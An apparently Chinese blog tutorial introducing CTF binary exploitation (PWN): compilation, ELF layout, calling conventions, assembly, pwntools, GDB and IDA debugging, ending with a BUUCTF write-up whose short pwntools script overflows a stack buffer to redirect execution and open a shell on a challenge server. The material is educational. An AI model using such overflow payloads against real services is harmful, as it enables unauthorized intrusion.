当前位置:   article > 正文

PWN-入门基础

pwn

PWN简介

  • PWN是一个黑客语法的俚语词,是指破解、利用成功设备或者系统(程序的二进制漏洞)。它包括两个方面:一是攻破设备、服务器、二是控制设备、服务器
  • 在CTF中,pwn是指通过程序本身的漏洞,编写利用脚本破解程序拿到系统的权限(shell),从而获得flag。赛方叫做面壁者,答题人叫做破壁人。一般pwn的题目都是由面壁者给出自己的服务器IP以及端口(一般是Linux系统),这个端口在运行着一个进程。同时面壁者再给出一个二进制文件,而这个文件正好就是那个进程正在运行的文件。破壁人要做的就是通过找出面壁者提供的这个二进制文件漏洞,并且利用这个漏洞获取面壁者服务器的最高权限。
  • 破壁人如何找出二进制漏洞就成为了pwn的重中之重。但这个漏洞可不是写在文件上的,破壁人要通过各种手段找出漏洞并且利用它必定少不了一些知识,而这些知识也造就了pwn的高入门门槛。
  • PWN赛题的特点是入门难,进阶难,精通难。主要体现是pwn学习的曲线很陡峭、解答PWN赛题需要经验与练习、在这个过程中破壁人非常容易自闭。

知识储备

  • C语言是当前比赛中pwn项目最常用的语言,IDA pro反汇编后得到的是C语言的伪代码
  • python主要用于编写exp(攻击)脚本,pwntools是python库
  • 很多情况下,伪代码并不能提供所有有效信息,需要直接分析汇编指令
  • Linux操作系统能提供各种辅助指令来获取信息,加深堆栈的理解
  • 较难的程序中大多包含了复杂的数据结构与算法,需要迅速且准确在其中找出漏洞
  • 基本漏洞学习
    • 整数溢出
    • 栈溢出
    • 格式化字符串漏洞
    • ROP(返回导向式编程)
    • 堆溢出

GCC安装与编译

  • 使用命令sudo apt install gcc安装gcc编译器
  • gcc编译分为四个过程:预处理(预编译),编译,汇编,链接
    • 预处理(预处理源文件):-E(大写)gcc -E main.c -o main.i
    • 编译(由C语言代码生成汇编代码):-S(大写)gcc -S main.i -o main.s
    • 汇编(由汇编代码生成机器码):-c(小写)gcc -c main.s -o main.o
    • 链接(将多个机器码的目标文件链接成可执行文件):-o文件名 gcc main.o -o main
    • 如果不给-o,系统会默认生成可执行文件a.out
  • 一步直接生成:gcc main.c -o main
    • gcc默认生成AT&T汇编, -masm=intel 生成Intel汇编
    • 在目标文件中嵌入调试信息,以便gdb之类的调试程序:-g
    • 不开启堆栈溢出的保护:-fno-stack-protector
    • 生成32位程序:-m32
  • 可执行文件从广义上讲就是文件中的数据是可执行代码的文件,例如.out、.exe、.sh和.py等
  • 从狭义上讲就是文件中的数据是机器码的文件,如.out、.exe、.dll和.so等
  • 可执行文件可分两类
    • Windows操作系统中的PE(Protable Executable)文件,
      • 可执行程序(.exe)
      • 动态链接库(.dll)
      • 静态链接库(.lib)等
    • Linux操作系统中的ELF(Executable and Linkable Format)文件
      • 可执行程序(.out)
      • 动态链接库(.so)
      • 静态链接库(.a)等

ELF文件格式

  • ELF文件头表(ELF header)记录了ELF文件的组织结构
  • 程序头表/段头表(Program header table)告诉操作系统如何创建进程(进程内存映象),生成进程的可执行文件必须拥有此结构,重定位文件不一定需要
  • 节头表(Section header table)记录了ELF文件的节区信息(可执行文件),用于链接的目标文件必须拥有此结构,其它类型目标文件不一定需要

程序装载与虚拟内存

  • 节视图(objdump -s elf)用于ELF文件编译链接与磁盘上存储时划分不同的功能(文件结构的组织)
  • 段视图(cat /proc/pid/map)用于程序载入内存时(进程)对内存区域的读写执行(rwx)权限划分。
  • 虚拟内存用户空间每个进程一份,虚拟内存内核空间所有进程共享一份,虚拟内存mmap段中的动态链接库仅在物理内存中装载一份
  • 进程的32位与64位虚拟地址空间图示

CPU与进程的执行

  • 函数调用约定主要涉及三个方面
    • 函数参数的入栈顺序从右向左通过栈传递
    • 由调用者还是被调用者把参数弹出栈
    • 产生函数修饰名的方法
  • x86的调用约定:__cdecl、__fastcall和__stdcall
    • __stdcall是API默认调用约定,被调用函数在返回前清理传送参数的内存栈
    • __cdecl是C/C++默认调用约定,调用函数包含清理堆栈的代码(可变参数的函数)
    • __fastcall,用ECX和EDX传送前面两个参数,2个以后的参数从右向左入栈传送
  • x64调用约定:寄存器与栈相结合
    • 当参数少于7个时, 从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
    • 当参数大于等于7个时, 6个以后的参数从右向左入栈传送
  • ELF格式文件中段(segment)与节(section):ELF文件映射到虚拟地址空间一个段会包含多个节。
  • 代码段(Text segment)包含了代码与只读数据的节,具体包括:.text节(代码节,保存了程序执行的代码)、.init节(程序初始化和终止的代码)、 .rodata节(只读数据)、.hash节、 .dynsym节、.dynstr节、 .plt节.rel.got等。
  • 数据段(Data segment)包含了可读可写数据的节,具体包括:.data节(已经初始化的全局变量/局部静态变量)、 .got.plt节(全局偏移变量表,保存全局变量引用的地址)、.bss节(未初始化的全局变量/局部静态变量)、.dynamic节、.got节等。
  • 栈段(Stack segment):向低地址方向生长。
  • 堆段(Heap segmengt):向高地址方向生长。

  • 小端序(Little-endian):低地址存放数据低位、高地址存放数据高位(x86-64默认)。
  • 大端序(Big-endian):低地址存放数据高位、高地址存放数据低位。
  • AMD64位寄存器结构
    • RIP(pc,program counter):存放下一条执行指令的偏移地址
    • RSP:存放当前栈帧的栈顶偏移地址
    • RBP:存放当前栈帧的栈底偏移地址
    • RAX:通用寄存器。存放函数返回值

装载与汇编

  • 编程的发展经历了机器语言、汇编语言到高级语言三个阶段。
  • 指令是汇编程序的构成块。一条指令由一个助记符,以及零个或多个操作数组成。汇编语言源代码主要采用两种语法:AT&T语法和Intel语法。主要存在三点不同:
    • AT&T语法在寄存器前加%,立即数前加$;Intel语法不加前缀;
    • AT&T语法加入了指示指令宽度的后缀,比如movq(四字)、addb(字节)等,而Intel语法没有这种标识;
    • AT&T语法把源操作数放在目标操作数之前,而Intel语法则是将源操作数放在目标操作数之后。
  • 每条指令使用操作码告诉CPU程序要执行什么样的操作,操作码就是助记符与操作数对应的十六进制值数据,常用Intel语法
    • 立即数操作数是一个固定的值,如0x4567
    • 寄存器操作数指向寄存器,如rcx
    • 内存地址操作数指向目标值所在的内存地址,一般由方括号内包含值、寄存器或方程式组成,如[eax]
  • 常见汇编指令如下:
    • mov eax,ebx: 把ebx的内容放入eax寄存器
    • mov eax,[ebx]: 将ebx指向的数据内容放入eax寄存器
    • lea edx,[ecx+4]:把ecx+4单元的32位地址存放edx寄存器
    • add eax,ebx: 把eax加ebx的结果放入eax寄存器
    • sub edx,ecx: 把edx减ecx的结果放入edx寄存器
    • push eax: 将eax压入堆栈
    • pop ebx: 将栈顶数据取出传给ebx
    • leave: 释放栈帧空间,相当于move esp,ebp和pop ebp
    • xor:异或
    • jmp:无条件跳转
    • cmp:比较,用目标操作数减去源操作数,根据结果来确定溢出、符号、零、进位、辅助进位和奇偶标志位,但不会真的去改变目标操作数,仅改变标志位
    • test:指令执行逻辑与操作,但不会真的去改变目标操作数,仅改变标志位
    • jxx:条件跳转,如jz、jc、jo、jp、je、ja、jg、jl等
    • call:函数调用
    • ret:返回

Linux基础指令

  • PWN环境配置在Ubuntu系统,需要熟悉一些常用的Linux命令

Python之pwntools

  • 简单来说就以一整套pwn工具集,涵盖了pwn题利用脚本所需要的各种工具。包括方便的IO交互函数,ROP、格式化字符串等利用的自动化工具,shellcode生成器等
  • pwntools是目前最好用也是仅有的大型pwn利用框架,能节省大量编写脚本的时间。
    • pwnlib.constans: 包含各种体系结构和操作系统中的系统调用号常量
    • pwnlib.context: 设置运行环境
    • Pwnlib.rop:rop生成工具,可以直接生成32位rop
    • pwnlib.gdb: 调试,配合gdb使用
    • pwnlib.shellcraft: Shellcode生成器
    • pwnlib.elf: 操作ELF可执行文件和共享库
  • pwntools示例语句
from pwn import *
context(arch='i386',os='linux',log_level = 'debug')	      #架构32位X86,平台Linux 开启日志信息
context.terminal['tmux','splitw','-h']	      #设置tmux分屏

io = remote("127.0.0.1", 32152)   #与互联网主机交互
io = process("./bin", shell=True)   #启动本地程序进行交互,用于gdb调试

io.sendline("hello")	   # sendline发送数据会在最后多添加一个回车
io.send("hello")

io.recv(1024)   	  # recv()读取1024个字节
io.revuntil("hello")	  # recvutil()读取到指定数据
io.recvline()  	  # recvline()读取到指定数据

io.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

PWN环境配置

  • 作为一个pwn手,必须要有一套自己的环境,不然的话,拿到一个程序你该怎么分析它呢?下面我们来看看如何搭建一下pwn的环境
    • IDA pro: 对程序进行静态调试(也能动态调试),查看伪代码等信息
    • ubuntu虚拟机:常见为ELF 文件,结合windows和ubuntu系统进行分析
    • objdump(系统自带)
    • pwntools
    • checksec
    • ROPgadget
    • pwndbg
    • one_gadget
    • main_arena_offset
    • 在线查询libc版本的网站: https://libc.blukat.me/
  • Ubuntu配置PWN环境的命令如下图所示

GDB调试器

  • GDB是GNU开源组织发布的一个强大的UNIX下的C/C++程序调试工具,它自身并没有Windows上大多数IDE调试工具的高可视化和图形化功能,但命令行调试也具有其自身优点。
    • 启动:gdb elf 或 gdb attach pid
    • 查看某地址的反汇编代码:disass /r main 和x/16i main(查看内存:x /nfu )
    • 单步调试:si、step count(进入函数内部)或ni、next count
    • 运行命令:run或continue
    • 设置断点:break 或 b *$rebase(偏移地址)
    • 指向当前程序运行地址:x/8i $pc
    • 查看字符串:x/s
    • 查看寄存器的值:p/x $eax
    • 查看栈、bss段是否可以执行:vmmap

IDA Pro远程调试

  • 步骤1 安装IDA Pro
  • 步骤2 将IDA Pro 根目录 dbgsrv 下的 2个文件放到 linux 虚拟机下
  • 步骤3 如调试32位程序,可能需要安装32位兼容库lib32z1和lib32stdc++6
apt install lib32z1
apt install lib32stdc++6
  • 1
  • 2
  • 步骤4 将被调试程序与linux_server放在同一目录运行并linux_server
  • 步骤5 IDA pro加载被调试目标程序main
  • 步骤6 选择远程调试器
  • 步骤7 配置调试器参数

  • 步骤8 下断点、启动调试(F9)
  • 步骤9 远程调试连接成功
  • 步骤10 按F7单步步入被调函数

网站刷题

刷题网站推荐

pwnable网站fd练习题

  • 题目信息如下
  • 连接服务器
  • 分析源代码文件
  • 获取Flag

BUUCTF:test_your_nc

  • test_your_nc题目信息
  • 下载并检查ELF格式文件
  • IDA Pro载入test并生产伪代码
  • 使用pwntools编写python脚本程序获取Flag

BUUCTF:rip

  • rip题目信息
  • 下载并分析pwn1

  • IDA Pro载入pwn1

  • main函数的栈帧空间及C伪代码
    在这里插入图片描述
    在这里插入图片描述
  • 使用pwntools编写python脚本程序
from pwn import *

p=remote("node4.buuoj.cn", 29898) #靶机地址和端口
# char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡
# p64()发送数据时,是发送的字节流,也就是比特流(二进制流)
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 运行Python程序获取Flag
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/260231
推荐阅读
相关标签
  

闽ICP备14008679号